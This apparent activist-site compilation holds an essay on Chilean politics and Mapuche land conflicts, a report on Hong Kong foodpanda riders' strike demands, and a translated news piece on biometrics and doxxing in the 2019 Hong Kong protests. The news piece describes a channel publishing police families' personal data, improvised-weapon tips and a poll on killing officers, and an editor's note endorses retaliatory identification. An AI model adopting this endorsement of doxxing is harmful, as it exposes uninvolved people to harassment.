在大都市中心，人们很容易忘记采掘业是智利经济的基础：采矿、工业伐木场和工业渔业。在智利腹地，这些产业与当地的原住民社区发生了长达数十年的冲突，他们试图收回自己的土地，阻止这些产业对其领土造成的灾难性伤害。自20世纪90年代以来，马普切社区越来越多地转向直接行动以行使领土自治权。几十年来，关于体制改革将帮助马普切社区重新获得他们的土地并限制工业对生态的影响的承诺彻底失败后，一些土地占领运动开始了。其中一些运动开始时，参与者在被侵占的土地上举行仪式和活动，然后在那里建造房屋和种植农作物。每年都有更多的破坏行动阻止了林业公司的伐木设备，更多的农村抗议活动阻断了农村的伐木道路，更多的伐木卡车被匿名的武装公路劫匪劫持。

由于生态破坏和财产的冲突在智利腹地势必持续，马普切社区将继续采取直接行动，而不是等待承诺的体制改革。作为回应，即使在政府中没有代表，极右翼也可以通过利用直接行动争取自己的利益而在内地获得权力。

例如，在一名卡车司机在一次武装抢劫中受伤后，智利最大的卡车工会宣布罢工，要求政府加强对智利农村的保护。七天来，卡车司机封锁了阿劳卡尼亚大区的泛美公路的每个匝道以及该公路的其他农村路段的货物运输。在被罢工封锁的智利农村城镇中，杂货店的基本商品被抢购一空。与此同时，罢工的卡车司机在COVID-19大流行的情况下，在高速公路上举行聚会。网上流传的视频显示，罢工工人与他们雇佣来参加派对的脱衣舞娘跳舞。The **trucker strike**

土著人民和智利左翼都谴责卡车司机是右翼、性别歧视和潜在的法西斯主义。在这个评价中，他们是正确的。但左翼批评的核心是谴责右翼政府的双标：残酷对待尊严广场的抗议者，却对罢工的卡车司机置之不理。当卡宾枪手使用他们所掌握的所有武力来平息广场的任何社会抗议时，国家政府却通过满足司机的要求和保证在一个已经军事化的地区增加警察来终结罢工。

左翼没有为如何在选举政治之外参与这样的社会冲突制定战略，而是想象着一旦智利新宪法制定出来，这些问题就会自然消失。在对右翼罢工的批判背后是这样一个现实：左翼在谴责国家不打击右翼社会运动的同时，并没有制定战略，关于当团体利用后勤中断的力量来推动右翼要求时该怎么办。虽然制宪会议的左翼代表设想着一个承认对原住民的债务并制止警察对原住民社区的猖獗暴力的智利社会，但他们没有战略来应对利用经济力量阻止这种社会改革的右翼团体。智利洛斯拉戈斯的一场反对鲑鱼产业的抗议活动。

在某种程度上，这是因为对未来智利政治制度响应社会运动要求的梦想，想当然地认为社会运动将永远是固有的反新自由主义和固有的“人民的”、大众的。但谁是人民？正如我们在巴西和世界其他地方所看到的那样，极右翼也可以通过社会运动来发展，这些运动也声称代表“人民”。将卡车司机罢工这样的社会运动视为右翼和经济精英的利益，为拒绝面对有复杂答案的棘手问题提供了简单的借口。例如，人们认为新宪法应该保证工人的安全和原住民的权利，但是当工人声称原住民威胁到他们的安全时，会发生什么？当一个新的执政政府试图代表他们的利益时，为什么工人继续采取右翼政治？

第二部分：风险与机遇

「图」

这次选举中出现的一些可能的未来。

风险：非制度性右翼利用经济力量

「图」

如果我们不为如何参与选举政治之外的社会冲突制定战略，我们就有可能在面对新的制度安排之外必然会发生的社会冲突时缺乏战术。左翼的罢工概念—— 利用工人阶级的经济力量—— 并没有解决精英阶层在被挤出政治机构时也能利用的经济和劳工力量的规模。

最危险的状况在于，在制宪会议之后，左翼和自治运动将放弃不可治理和经济混乱的地盘，转向右翼。我们可以看到，在委内瑞拉，强加的经济制裁和富裕的企业主对查韦斯政权的战争都增加了普遍的痛苦，显示了政府在应对它们所产生的危机时的软弱，并有效地将可能性的范围减少到查韦斯派或反查韦斯派的双重束缚中—— 这是横向自治运动的灾难。我们必须面对历史上的先例，即 右翼和经济精英将利用他们的经济力量使任何新成立的 “革命” 政府陷入危机，而不是在表面上相信在新的和改进的宪法下会有一个更好的社会。

萨尔瓦多·阿连德时代提供了一个明显的例子。基辛格宣布，他将通过让智利经济 “尖叫” 来结束阿连德政权；由于反阿连德势力的联盟切断了国家的物流，智利的大都市地区陷入了饥饿。这不仅仅是国际政策和经济制裁阻断该国进口的结果。食品也不再进入大都市中心，基本商品留在仓库里，进口商品被困于港口。右翼的势力随着每次极右翼的劳工罢工和经济制裁而不断增长，他们把猖獗的失业、基本商品的配给和日益增加的日常生存斗争说成是 “社会主义政治非法性的标志”。

这些行业的工人站在他们的雇主一边而不是阿连德政府一边，有几个原因。许多人只是决定支持更强大的一方，他们认为在国家的经济危机中能更好地保证他们的个人安全。赞助人/客户关系的规范在智利依然存在；对一些工人来说，维持雇主的赞助比寻求国家政府的赞助更靠谱。一些工人因为支持他们的雇主而立即得到了回报；另一些工人则担心他们的雇主会进行报复。这些劳工罢工呈现出一种复杂的局面，一些工会扰乱了经济，要求结束一个表面上代表 “他们利益” 的政府。

这些罢工的成功表明，与资本主义利益集团能够通过后勤破坏而利用的经济力量相比，通过代议制而获得的 “政治权力” 的表面意义并不大。在《腹地》一书中，菲利普·尼尔认为，左翼强调民众代表的新模式—— 在大都市中心的居民中很受欢迎—— 没有考虑到腹地对权力的理解，反过来，为极右翼的收编打开了空间。

> “极右翼画的大饼、以及使其上台成为可能的事，理应是对权力问题的务实关注，而美国左翼却虔诚地忽视了这一点，他们反而专注于建立精心设计的政治方案和华丽的乌托邦，仿佛政治是个人想象力的行使。正是这种对在危机中建立权力的关注将党派与左翼区分开来，而宣誓是目前党派的组织形式”。

立宪派的战略，通过承诺未来的安全，条件是人们在当下做出牺牲，这也是新自由主义制度秩序的前任政治家们所采取的战略。虽然目前，智利的右翼由于与皮诺切特时代的国家政治有关联而被击垮，但大规模的制度改革可以为右翼再次采用经济破坏的工具创造条件，从一个不难动员人民反对执政党的时代中获益。

尼尔认为，“通过提供保证稳定的物质奖励，再加上对反对者的胁迫威胁，这类团体就有能力使民众成为他们崛起的同谋，而不管意识形态立场如何”。就像危机通过暴露以前制度秩序的弱点为制宪会议创造了条件一样，危机也将通过暴露新制度政治的弱点为非制度性极右翼的发展创造条件。

而这个烫手山芋将再次易手。

风险：警察和监狱系统的加强

「图」

在直接行动的政治和代议制政治之间不可调和的紧张关系中，我们面临着这样的危险：未来的宪法秩序可能会延续产生智利目前警察机构的 “法律和秩序” 的政治。到目前为止，国家一直在通过警察的军事化和扩大的监狱系统，在不断升级的社会冲突中维持稳定。塞巴斯蒂安·皮涅拉 (Sebastian Pinera) 在介绍 “丛林指挥部”，这是一支在哥伦比亚受过训练的特种警察部队。

例如，从2000年代初开始，国家政府在 “马普切冲突的红色区域” 从根本上扩大了警察机构。通过种族歧视协议，警察开始系统性地拘留马普切活动家和社区领袖。这为智利警方拘留或谋杀无数马普切青年创造了条件，如2017年被杀害的卡米洛·卡蒂兰卡（Camilo Catrillanca）一案。他们开始在审判前将马普切人关押数月甚至数年，利用种族主义的司法改革，将针对被认为威胁到所谓的公共安全的任何嫌疑人的 “预防性拘留” 正常化。在2019起义期间，智利警方和法院也采用了这种预防性拘留的制度，其结果是成千上万的起义参与者目前仍在监狱中等待审判。

制宪会议设想了一个未来的智利政治安排，通过最终让步于社会运动的长期诉求来减少社会冲突。

在起义的所有诉求中，释放所有政治犯的诉求可能是被讨论最多的。在制宪会议选举胜利的几天后，“del pueblo” 宣布，在起义的所有囚犯获得自由之前，他们不会与右翼进行谈判。还有人要求，作为制宪会议的一个条件，所有在目前种族歧视的司法系统下被监禁的马普切政治犯也必须被释放。毕竟，目前重写智利宪法的机会在一定程度上是这些政治犯勇敢而激进的政治行动所带来的。此外，如果智利要承认并解决其对原住民的债务，这包括彻底拆除其对因争取自治而被监禁的马普切人的系统性司法种族主义。2020年8月，参加马普切人政治犯声援游行的抗议者占领了阿劳卡尼亚的库拉考廷市政厅。后来，一个愤怒的暴徒用暴力驱逐了抗议者。

然而，这个要求释放政治犯和使智利警察解除军事化作为对社会运动要求的让步的宪法项目再一次没有包括一个关于宪法政治应该如何处理追求右翼要求的直接行动的战略。针对代表制政治，直接行动的核心理念是，可以利用经济和社会力量迫使政府或公共机构让步于要求。如果面对警察对其财产的保护减少，看到他们的长期敌人被释放出狱，极右翼利用直接行动来追求他们自己的议程，那也就不奇怪了。

面对这种战略，新的政治安排似乎完全可以选择维持相同的警察和司法机构，作为对极右翼的让步，或者甚至作为一种所谓的控制极右翼暴力的方式（正如我们看到美国的民主党人为了应对1月6日的事件而叫嚣的那样），同时声称深切关心他们对原住民和政治犯的历史亏欠。希腊的激进左翼联盟政府和巴西的迪尔玛·罗赛芙政府正是这样做的，在这两种情况下，都是为镇压最初支持他们宣称的社会运动铺平了道路。

在由右翼和左翼的直接行动升级引发的政治危机中—— 例如，2013年在巴西发生的情况—— 法律和秩序的政治均呈现为维持稳定的手段。在阿劳卡尼亚，右翼卡车司机的罢工只是更广泛的右翼组织的一个例子。农业商业协会正在向政府请愿，要求增加该地区的警力，而前军事人员则组织自卫队来保护他们的财产，这是向哥伦比亚熟悉的那种准军事暴力迈出的一步。Comando Trizano 和 APRA 等武装团体以保护土地所有者的财产为借口组织了巡逻；他们对马普切人和环保活动家进行挖苦，以威胁他们。

尽管右翼将其描述为恐怖主义，但在国家和国家以外对马普切社区实施暴力的情况下，马普切人的直接行动已经转向了自卫的形式。当调

解和两党协议的政治工具达到极限时，寻求治理的政治机构很可能将国家暴力的工具转向针对那些暴露出代议政治无法解决我们这个时代的危机的反对派。库拉考廷的马普切土地

潜力：划出难以统治的空间

「图」

独立候选人在制宪会议上的重大成功，为人们谈论“独立”候选人作为对抗三大政党联盟的第四个新权力集团创造了条件。然而，政治权力中并没有统一的“左翼”集团；这些独立代表来自一系列的政治倾向和个人背景。建制政治的支离破碎呈现出这样一种局面：街头政治可能加剧政党和社会运动之间的紧张关系；四分五裂的议会格局可能提供了一个机会，可以利用政客的代表欲望，以划出难以统治的空间。

我们可以再一次从阿连德时代学习，在这一期间，左翼反建制政治在整个智利升级，而在议会中，阿连德的政治联盟与中间派政党争夺权力。在阿连德担任总统之前，随着农村农民和圣地亚哥的城市贫民夺取土地以开辟生活空间，土地占领运动在智利各地激增。在很大程度上，萨尔瓦多·阿连德的选举胜利是对弗雷执政期间警察在蒙特港屠杀棚户区居民的回应，维克多·哈拉在他的歌曲“Preguntas por Puerto Montt”中唱出了这一惨剧。

【维克托·哈拉被参与奥古斯托·皮诺切特独裁统治的军官残忍地折磨并被法外处决；他的尸体被扔在圣地亚哥的街道上，尸体上有*40*多颗子弹。而谋杀他的人花了*42*年时间才面临指控。这就是我们与警察和法西斯主义斗争的原因。】

虽然阿连德对土地改革和社会主义制度的承诺促成了他的当选，但农民和工人们继续组织自治的土地占领，而不是等待政府画的大饼成为现实。在反对阿连德计划的过程中，出现了无数激进的、自治的革命团体 —— VOP（Vanguardia organizando el Pueblo）和 MIR（Movimiento Izquierda revolucionario）成为其中最突出的，在阿连德选举前后都面临警察暴力的棚户区获得了强大的支持。

尽管公众对警察暴力对待棚户区居民的愤怒导致了阿连德的当选，但在阿连德执政期间，警察在搜查佩尼亚洛伦的罗赫米达棚户区时再次杀害了一名少年。体制内左翼政治家们跳出来为突袭该定居点寻找武器的警察辩护，宣称城市游击队是煽动棚户区居民使用暴力的外部煽动者。尽管政客们发表了声明，但公众对警察的愤怒仍在继续。在发

现受害者实际上是MIR的成员后，MIR得以推翻对他们是所谓的 “外部煽动者” 的指控。并非所有的棚户区居民都是MIR的人，也不是所有的MIR人都是参与土地占领运动的居民。既不是 “内部人” 也不是 “外部人”，那些参与其中的人都是对棚户区的日常生活和共同的未来有着深刻承诺的居民。

虽然阿连德的政党仍然反对像MIR这样的团体，但在1972年8月7日，阿连德出席了被警察杀害的MIR少年的葬礼。这种制度性和非制度性左翼之间的冲突迫使国家将棚户区合法化 —— 一个存在至今的街区。萨尔瓦多·阿连德 (Salvador Allende) 出席被警察谋杀的MIR少年的葬礼。

智利自治派左翼团体的历史已经被对萨尔瓦多·阿连德的怀旧掩盖了。这并不是皮诺切特独裁统治的最悲惨的结果，但却是从过去中学习的一个障碍。皮诺切特的政变之后，开展了一场运动，许多参与社区自治的革命者被强迫失踪。像**MIR**这样的团体的幸存者被赶到了地下，放弃了他们以前的社区组织战略，转而采取秘密的反皮诺切特武装起义的战略。因此，我们永远不会知道阿连德的人民联盟内部的紧张关系是否会提供机会以创造一个自治空间。尽管如此，我们依然可以想象一个冲突的时刻，在这个时刻，当选的官员会害怕驱逐一个自治空间所带来的政治影响—— 无论是一个棚屋，一个被占领的广场，还是一个保卫森林的营地 —— 将领土让给在选举制度之外保持活跃的自治主义拒绝被统治的力量。

潜力：通过建立领土间的自治来应对危机

「图」

正如危机为制宪会议创造了条件，暴露了以往建制秩序的弱点一样，危机也为其他反建制倾向的发展创造了条件，这些反建制倾向可以应对这些危机，暴露出下一步制度安排的弱点。非制度性的极右势力有机会利用和扩大即将到来的危机，同时如果允许他们执政，他们就会承诺所谓的安全和稳定。为抵制通过升级和批判来应对危机的模式，我们必须通过扩大自主权的实践来建立一支反统治的力量，为我们和其他人的生计和福祉提供保障。

在这里，我们可以从左翼政府上台后，由于经济精英的阴谋而经常出现的经济崩溃中学习，也可以从阿连德时代的项目的成功和失败中学习，以应对生产和物流的危机。为了应对右翼的制裁和破坏，阿连德政府采用了第一个控制论系统，即 赛博协同控制工程（Project Cybersyn）。

这个分布式决策支持系统，接收最新的经济和生产信息，通过接收来自生产中心的信息，并在预测模拟结果后向工厂发出指令，试图协助工厂进行自我管理。到1972年，尽管右翼卡车司机的罢工越来越有效，这个系统还是能够维持智利的物流。

这种生产和分配方面的控制论干预的持久局限性在于，它无法解释非正规经济在确保获得一个地区的资源方面所发挥的作用。当城市贫民采用副业并在街上出售产品作为生存基础时，控制论的干预措施将他们视为对稳定的威胁。右翼政权将这种活动定为城市病；左翼政权也这么做，将其称为利用稀缺性的“黑市”。除了在意识形态上反对经济危机的控制论解决方案之外，旨在建立“计划经济”的项目很少产生预期的效果，因为它们必须重新定向或直接拆除由人们为确保其生计而创造的异质系统。

【马普切农民在圣地亚哥街头出售他们的产品，应对警方对其未经许可的农产品市场的突袭。】

同时，在阿连德的领导下，共产党和反建制的左翼团体开始在城市地区组织人民生计委员会（Juntas de Abastecimiento Popular，简称JAPs），以确保基本商品的供应和公平价格。邻居们会盘点他们可以获得的东西，并与社区分享他们的可用资源。正如贝尼托·布拉沃（Benito Bravo）所言，在危机时期，这些自治的邻里救济行动在智利各地大量涌现。随着左翼团体越来越多地参与到这种邻里倡议中，他们吸引了更多的支持，因为他们对当地非正式经济的关注和尊重。通过JAPs，集体决策制定每个街区的基本商品价格，使人们能够参与街区的物质政治。这些委员会也有黑暗面，即 他们也同时实行了一种社区自卫，有时会暴力对抗那些囤积货物出售或在社区中哄抬价格的邻居。

面对一个体制变革和危机的新时代，我们也可以从阿连德时代的危机中人们没有做的事情中学习。这个控制论项目“赛博协同控制工程”为生产和跨地区分配提出了一个有计划的经济解决方案，而JAPs则提出了一个自主和集体资源分配的模式。然而，并没有另一个项目或愿景试图自主地将不同的地区联系起来以发展经济之外的其他物流。在每个JAP内，其权力的极限是什么资源可以到达附近的领土。因此，它不仅依赖于中央政府的控制论项目，而且还被同样持久的结构性暴力和经济不平等所削弱，这些暴力和不平等首先就造成了资源的不平等分配。

今天，我们应该寻求发展新的项目，在城市和农村的领土之间建立关系，以及人和资源在它们之间流动的方式，以便提出一个在危机中自

治和拒绝统治的愿景可能意味着什么。显然，新自由主义模式加剧了不平等；社会主义的反应是确保商品被重新分配给那些以前没有机会的人，然而，这种重新分配的模式无法应对商品稀缺的生产危机。COVID-19大流行病扰乱了全球经济，造成青霉素和建筑材料等关键商品的短缺，这表明我们的政治项目如果依赖于恢复资本主义“正常状态”的可能性，就有可能失去意义。

在一个日益动荡的世界里，如果自治团体和社会运动将他们的项目建立在匮乏的起点上，开发出与人们合作以满足大众基本需求的替代方法，那么它们就能得到发展。

结论：希腊的案例

「图」

在 Syriza 的领导下，希腊政府在2015年至2018年期间对许多占领事件保持了沉默。在某种程度上，埃克萨奇亚（Exarchia）街区成了一个不设防的区域，防暴警察保持距离，居民一般都是自己解决冲突。因此，为了应对2015年开始的所谓移民危机，无政府主义者能够与移民合作，在大规模的建筑中蹲守，安置百名难民。

由于被阻止使用其全部的暴力能力，希腊警察决定将反社会犯罪和非法资本主义，特别是非法毒品销售和使用，推到埃克萨奇亚、大学校园和其他自治空间，希望使这些自治空间失去合法性和信誉。除了关于Syriza和这些自治区的右翼宣传（与福克斯新闻对西雅图“国会山自治区”的报道不同），这成功地为新民主党政府提供了一些准备选举的主要谈话要点。Syriza 未能兑现其对公众的大部分承诺 —— 这主要是因为在新自由主义的全球经济中，如果全球金融卡特尔不把资本带到其他地方，就很难保护一个国家的公民。

因此，新民主党赢得了选举，上台后承诺用蛮力压制无政府主义者、棚户区和难民声援运动。这些运动对此毫无准备 —— 他们在Syriza领导下获得的几年“喘息空间”并没有扩大他们的战斗力。在大多数情况下，希腊的无政府主义者并没有把自己与Syriza联系起来，但他们仍然受到Syriza公众支持减弱的影响。

可以说，这个故事的寓意是，通过运动的实际基层力量以外的任何手段来赢得收益都是危险的，因为你可能会误认为自己比实际情况更强大，因此，在你最毫无准备的时候被成为了国家的主要目标。实际的社会力量是无法替代的。如果我们以年为单位而不是以月为单位进行思考，那么问题不在于是否有可能利用国家的裂痕来确保自治区，而

是在于，当我们这样做的时候，我们如何防止极右翼对手动员起来反对我们？我们如何继续建立我们的战斗能力，即使是在左翼政府下 —— 我们如何确保民众对社会主义政府的失望不会使右翼势力夺取国家并直接反对自治主义，就像在智利和希腊发生的那样？

这些都是我们必须在实践中解决的问题。〇

Chile: The Hot Potato Changes Hands

原文

香港快递小哥再次罢工 - iyouport

反抗者-寻求经验

国际团结对于罢工的骑手至关重要

流伞强调：国际团结绝对至关重要。呼吁人们通过社交媒体、电子邮件和电话对 foodpanda 香港管理层及其总部位于柏林的母公司 Delivery Hero 施加压力，可能会在谈判桌上加强罢工工人的影响力。

为什么 **foodpanda** 的骑手要罢工？

「图」

数百名为在线食品配送平台 foodpanda 工作的香港快递小哥在11月13日和14日的周末举行了罢工。

11月13日，几百人在该公司的香港总部外抗议，他们的代表在11月16日与该公司进行了谈判。这场罢工的直接催化剂是，尽管每天工作**10–12**小时，每周工作**6–7**天，以赚取体面的生活，但是，由于该公司不断削减每次送货的最低基本酬劳，骑手们的收入被削减。

例如，每笔摩托车订单的最低送餐费已从50港元降至45港元，而步行送餐费则从35港元降至28港元（1 美元约为 8 港元）。 该公司先前宣布从11月15日（星期一）起分别进一步削减到40港元和22港元。除其他要求外，罢工的骑手们还希望完全撤销削减送货费的决定。

罢工是如何开始的？

「图」

几个月来，骑手们一直在通过网上 Whatsapp 群组和现场的非正式网络组织进行动员。骑手们没有工会或协会，所以他们在很大程度上是自己组织起来的，但也受益于香港工会联合会组织者的支持，直到其被解散。

这一浪潮始于巴基斯坦移民送货员 Waqas Fida，他告诉立场新闻说，在周末他的工作账户被关闭后，他开始在群里聊天，鼓励其他零工工人，并自己设计传单。

Fida 几个月来一直因类似问题与 foodpanda 管理层交涉。周末，罢工在香港不同地区的骑手之间进行了协调（骑手们通常只从他们工作的地区/区域获得订单，因此跨地区/区域的协调对于成功的罢工来说既困难又必要），不同的骑手群体承担了不同的组织、宣传和谈判的责任。

这是香港骑手的第一次罢工吗？

「图」

目前的罢工是在最近几年来的多次行动之后进行的。2021年7月，少数骑手带着类似的不满进行了抗议，但管理层完全拒绝了他们的要求。此前，2020年9月，几十名 foodpanda 骑手进行了一次相比下更成功的罢工，公司通过提高透明度做出了有限的让步，但是拒绝提高薪酬。

在香港的竞争对手食品配送平台 Deliveroo 的骑手也同样在2018年1月因薪酬问题举行了罢工。值得一提的是，中国大陆的平台工人近年来也一直在罢工，其中一个被称为**“Menghzu” (盟主)**的关键组织者自**2021**年**2**月以来一直被拘留。所有这些都是零工工人组织化的全球趋势的一部分。

- 如果您错过了《我们一起来对战巨人：世界各地的快递小哥终于组织起来形成了真正的反抗力量》

罢工工人的构成是什么？

「图」

罢工工人中既有汉族人，也有南亚移民背景的骑手。他们总体上以男性为主。在周末的罢工中，南亚裔骑手带头抗议，并且罢工的骑手们也参与了停工和破坏活动。特别是在南亚裔骑手中，有一个非常强大的社区团结，并且有组织者来领导和协调这些行动。

南亚裔工人尤其脆弱，因为他们在香港获得其他体面的工作时面临歧视（包括来自顾客的歧视，人们有时会拒绝南亚裔骑手送餐），并且经常需要将收入汇给家乡的家人。他们受到平台公司削减送餐费的影

响最大，如果他们的罢工导致工作被终止或面临报复，他们的损失也将最大。

还有哪些问题加剧了骑手们的不满？

「图」

除了降费，罢工的骑手们还指出了平台公司操控骑手的惩罚性措施，如强制休息、强制下班、骑手以正当理由拒绝订单时封锁其账户、使用航拍地图计算直接距离而不是实际路途距离、公司对骑手提交的咨询和投诉没有回应、接单时间太短骑手往往无法及时回应、餐厅的订单等待时间长等等。罢工工人总共提出了15项要求，以改善工资、工作条件和工作尊严。

当前的政治环境对骑手的罢工有何影响？

「图」

《国安法》在香港生效后的11个月里，街头抗议和示威活动被定为非法（在禁止集会的普遍规定之外），并以‘危害国家安全“ 为由受到迫害。工会受到攻击，在政府和亲政府媒体的骚扰和威胁下被迫解散。

2019年抗议活动期间兴起的新工会运动也成为了目标，迫使许多工会解散。因此，看到骑手们出来罢工和抗议是极其罕见和令人鼓舞的。

然而，尽管在之前的动员中，骑手们从香港的抗议活动中获得了灵感，并提出了自己的五项要求，但这一次他们一直小心翼翼，避免使自己的罢工具有政治性，或带有任何明显的政治信息。即便如此，周二，当骑手们包围公司总部时，警察迅速赶到现场，威胁要使用武力迫使骑手们离开。

现在的情况如何，他们需要什么支持？

「图」

11月16日星期二，骑手代表与公司进行了长达8小时的面对面谈判，结果陷入了僵局。虽然公司承认工人的一些要求是合法的，并发誓要做出改变，但是，他们表示需要咨询母公司的德国总部，以便对关键要求做出最终决定（foodpanda 的区域总部在新加坡，属于柏林的 Delivery Hero 公司）。

然而，该公司拒绝在削减送货费方面做出任何让步，这是罢工骑手提出的最重要的要求，虽然同意在11月17日星期四再次举行会议。

罢工者的要求是什么？

「图」

1、骑手的最低费用为每单50港币，步行递送和骑自行车递送为30港币；

2、在快递员有合理理由重新调度和拒绝订单时，停止强制休息/强制下班/暂停账户；

3、取消叠加订单的服务费减免政策；

4、停止无正当理由暂停/终止骑手账户，公司在暂停或终止骑手账户时必须给出具体理由的证明。重新激活那些曾经在没有明确理由的情况下被暂停/终止的账户；

5、使用路线图而不是航拍图；

6、对因骑手无法承受的原因而取消的订单收取公平的订单取消费；

7、改进订单分配系统，将餐厅的准备时间考虑在内，以减少快递员的等待时间；

8、教育顾客和供应商的工作人员礼貌地对待骑手；教育供应商按照一定的标准来包装订单；

9、为顾客设定取货的时间限制；

10、在香港设立至少一个实体咨询中心，亲自接受骑手的投诉和咨询；

11、改变弹出式警告或通知的声音，用“哔哔声”代替目前烦人和分散注意力的声音；

12、向工人提供工资单/收入证明，并详细说明一定时期内的货到付款和服务费的金额；

13、快递员接受订单的时间应至少为100秒，以避免因网络连接不良而错过订单；

14、停止以不适当的照片作为送货证明而封锁骑手的账户，照片证明的标准应更加合理；

15、如果 Foodpanda 和谈判小组在会后达成最终协议，Foodpanda 应将协议内容通过邮件告知所有快递员。

●□

What to know about the foodpanda delivery rider strike

原文

香港的抗议活动中再次强调了你的脸如何成为武器 - iyouport

反抗者-寻求经验生物识别-眼下最严重的威胁，以及怎么办

【2019年10月31日存档】武器在谁的手里，就能为谁服务。

就如我们曾经多次在应对措施中强调过的：智能手机的生物识别有可能很危险，尤其是当你面临警察的围攻时。

在这里回顾具体解决方案：

- 《如何保持 Android 设备免受警察的侵害》
- 《指南：当您准备参加抗议活动...》

香港的抗议活动中发生的事再次证实了我们曾经强调过的内容非常重要。

以下是纽约时报的报道。

警察与科林·张(Colin Cheung)在一辆汽车里扭打起来。警察想要张的脸。

警察抓住他的下巴，强迫他把头转向他的 iPhone。他们猛烈地拍打他的脸。

警察大喊着，“睁开眼！”他们硬拉开他的眼皮，让他睁眼。

这一切都失败了：因为，就在警察抓他的那一刻，张已经用快捷键关闭了手机的面部识别解锁功能。

这就是我们强调的应急措施的实践 —— 具体操作方法见上面两个链接。

香港的示威者和警察都将识别身份变成了一种武器。

当局在网上追踪抗议活动的领导者，寻求破解他们的手机。许多抗议者现在都把脸遮起来，担心警察通过摄像头和其他任何可能的工具来抓人。

随着暴力升级，警察不再佩戴有识别号码的徽章，一些抗议者开始在网上公布警察的身份。

Telegram 上有一个用户快速增长的频道，寻找并发布有关警察及其家人的个人信息。

这个名为“老豆搵仔”的频道已有5万多名订户。支持政府的对手们也有寻求以类似方式揭露抗议者身份的频道。

因涉嫌“串谋及唆使谋杀”而被逮捕的张先生是“老豆搵仔”频道的订户，但他否认自己是该频道的创始人之一，那是警方的说法，他谴责了该频道上呼吁暴力的帖子。

他认为，自己之所以成为警方的目标，是因为他开发了一个可以将图像与一组警官照片做比较以寻找匹配的工具。

他后来放弃了这个项目。

张已被保释，尚未被指控犯有不法行为。

“普通市民可以有工具可用，可以知道谁是警察，”张说。

政府追踪危险罪犯与合法政治抗议者的能力，以及警察的打击目标进行反击的能力都在发生着重大变化，而香港正处于这一变化的最前沿。

在边境另一边的中国内地，警方经常用从世界上侵入性最强的监控系统之一收集来的数字指纹以抓捕公民。

人脸识别技术的出现、以及摄像机和其他跟踪工具的庞大网络的迅速扩大，已经极大程度上提高了这些能力。

香港当局已对人脸识别的使用和其他生物特征数据的采集做了概括性的严格隐私控制，但这些努力的程度尚不清楚。

香港政府似乎也在使用其他技术手段来跟踪抗议者。六月，一名22岁的男子被捕，因为他是 Telegram 上一个群组的管理员。

抗议者做出了回应。

七月，随着又一场示威演变为与警方的暴力冲突，一些参与者用激光笔照射警察的摄像头，并在中央政府驻香港联络办公室前用喷漆挡住了监控摄像机的镜头。

防暴警察举着带有摄像头的杆子站在发射催泪瓦斯和橡皮子弹的最前排警察的后面。

警察摘下制服上的警号后，抗议者的愤怒情绪更加强烈了。

警察那样做大概是为了防止人们向政治领导人举报他们的暴力不端行为。

在一些抗议者眼里，这种做法表明香港警察正在向中国大陆警察学习，那里缺乏公共问责制，警察常常不透露自己的身份。

“为什么我们被攻击的时候，警察可以全身而退？”理发师 Billy Tsui 问道。

“他们如果有错，应该受法律的制裁。”他说，在暴力与和平之间他选择和平，但他也对那个揭露警察身份的 Telegram 群组表示了一些同情，认为那是对警察不当行为的一种检查。

“最初的目的只是为了识别那些警察是谁，”21岁的崔先生说。“如果他们隐藏自己的警号，不表明自己的身份，这就成了搞清他们身份的唯一方法。”

香港警方代表曾表示，警察及其亲友的个人信息被“人肉搜索(doxxing)”并在网上发布出来。

警方7月3日说，他们以未经批准泄露个人信息及其他指控逮捕了八人。警方发言人说，在那些数据公布之后，警队成员已报告过800多起警员或家人受骚扰的事情。

“老豆搵仔”频道是发布警官私人信息的一个论坛，频道的名字是从一个 Facebook 群组的名字演化而来的，该群组是以帮助母亲找孩子的名义建立的，但最终成为亲政府团体收集抗议者照片的方式。

老豆搵仔频道用的语言时而滑稽、时而幼稚、时而残暴，不断发布警察家庭成员的个人信息和照片，有时是来自社交媒体的亲密照片。

虽然该频道播放过暴力呼吁，经常是以卡通式的方式，但没有证据表明其煽动过任何具体行动。

其中一个帖子指导抗议者如何熟练地使用弹弓。另一个帖子解释如何使用气溶胶除臭剂制作喷枪。

该频道最近做的一个调查向订户询问对付警察的最好办法。答案选项包括监狱、毒气室、活埋、断头台，用机关枪处决。活埋以得到大约三分之一的投票获胜。

警方在该 Telegram 频道创建11天后逮捕了张先生，警方指控他是这个频道的管理员。

他们还指控他发了一篇如何暗杀警察的指南。

张先生否认了这些指控，《纽约时报》的检索也没有找到与警方描述相符的帖子。

张先生现年29岁，个子瘦小，据他的描述，警方在7月18日中午前后在一家商场抓了他。四名便衣警察等着他把手机解锁后，向他扑来，试图从他手中夺走手机。

在警察试图用他的面部解锁手机未果后，将其带到了警察局。

他说，在那里他受到了粗暴对待和审讯。

据他的说法，后来，警方来到他家，用一个装有黑客软件的U盘侵入了他的电脑。

他说，他被拘留了十多个小时，他也不知道警方是如何确定他身份的。

香港警方证实了这起调查，但拒绝对其做出进一步的评论。

警方的动机可能是张先生制作的那个人脸识别工具。

张先生说，他上个月在 Facebook 上发布的一段视频中展示了这个工具。

曾在大学读计算机科学，但肄业的张先生使用谷歌的技术建立了一个算法，用网上发布的一小组照片来识别警察。

他说，由于时间不够，他没有将这个项目继续下去。

张说被捕加深了他的恐惧。

他说，逮捕他的便衣警察在他们到警察局之前一直都没有表明身份。后来，一名穿着西装的调查人员敦促他解锁手机，以“向42楼”证明他的清白，张先生说，该说法似乎是指高级警官。

他不认为警方最终得到了他手机里的内容，不过他们确实侵入了他的其他设备。

警方最初也不允许他打电话。只是在他说，他有与叔叔一起打乒乓球的计划之后，他们才改变了态度，让他打了电话。

他说，他没有给叔叔打电话，而是与一个朋友进行了联系。他补充说，“我讨厌体育运动。”

张还说，他觉得，自从被逮捕以来，便衣警察一直在跟踪他。接受时报采访他迟到了一个小时，他称是因为他试图甩掉盯梢。

他说，在自己黑色特斯拉的帮助下，他设法在香港北部新界的高速公路上超过了不知道是什么人开的车。

“警察正变得越来越好斗，”他说。“我不认为他们有权解锁我的iPhone或我的任何设备。他们开始变得疯狂了。”

“我觉得，香港变成与中国大陆一样的可能性更大了，”他说。

注：香港的做法从对峙角度上是非常合理的 —— 我们不是支持暴力而是支持反击。生物识别信息成为反击的武器是恰当的；没有理由让公民永远被动。〇

原文

🔏隐身游戏：如何在监视遍地的社会里让自己完全消失 - iYouPort

反侦查-在现实中反侦查反侦查-在现实中反监视

